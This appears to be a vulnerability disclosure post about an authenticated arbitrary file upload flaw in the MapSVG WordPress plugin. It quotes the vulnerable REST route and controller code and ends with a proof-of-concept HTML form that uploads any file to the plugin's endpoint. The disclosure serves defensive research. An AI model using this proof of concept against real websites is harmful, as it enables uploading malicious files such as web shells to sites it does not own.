Authenticated Arbitrary File Upload Vulnerability in MapSVG
Over at our main business, we were recently cleaning up a hacked WordPress website. As part of that service, we run the plugins being used on the website through the same software we use to do proactive monitoring to catch serious vulnerabilities being introduced in to WordPress plugins. Through that we caught a couple of less serious vulnerabilities in the commercial plugin MapSVG. In line with our reasonable disclosure policy, we are disclosing the vulnerabilities as the developer hasn’t gotten back to us in a week since we notified them of the vulnerabilities (the developer never fixed a vulnerability we discovered in their free MapSVG Lite in 2019).
One of the vulnerabilities allows WordPress users with the edit_posts capability, which is normally users with the Contributor role and above, to upload arbitrary files to the website.
In the file /php/Router.php, the plugin registers a REST API Route to be accessible to those with the edit_posts capability:
417 | $baseRoute = '/svgfile'; |
426 427 428 429 430 431 432 433 | $baseRoute = '/svgfile';register_rest_route( 'mapsvg/v1', $baseRoute, array( array( 'methods' => 'POST', 'callback' => '\MapSVG\SVGFileController::create', 'permission_callback' => function ( ) { return current_user_can( 'edit_posts' ); } ))); |
That is intended to allow uploading SVG files, but the function called, create() in the file /php/Domain/SVGFile/SVGFileController.php, doesn’t restrict what types of files can be uploaded:
34 35 36 37 38 39 40 41 42 43 44 45 | public static function create($request){ $files = $request->get_file_params(); $filesRepo = new SVGFileRepository(); $file = new SVGFile($files['file']); $file = $filesRepo->create($file); return self::render(array('file' => array( 'name' => $file->name, 'relativeUrl' => $file->relativeUrl, 'pathShort' => $file->pathShort, 'serverPath' => $file->serverPath ))); } |
The developer tries to restrict what types of files can be uploaded using JavaScript code that runs when accessing the upload capability through the plugin, but that doesn’t an attacker since they can ignore that.
Timeline
March 30 – Developer notified.
Proof of Concept
The following proof of concept will upload the file sent with the request to the directory /wp-content/uploads/mapsvg/.
Replace “[path to WordPress]” with the location of WordPress and “[REST nonce]” with the value shown on /wp-admin/admin-ajax.php?action=rest-nonce.
<html> <body> <form action="http://[path to WordPress]/wp-json/mapsvg/v1/svgfile" enctype="multipart/form-data" method="POST"> <input type="file" name="file" /> <input type="hidden" name="_wpnonce" value="[REST nonce]" /> <input type="submit" value="Submit" /> </form> </body>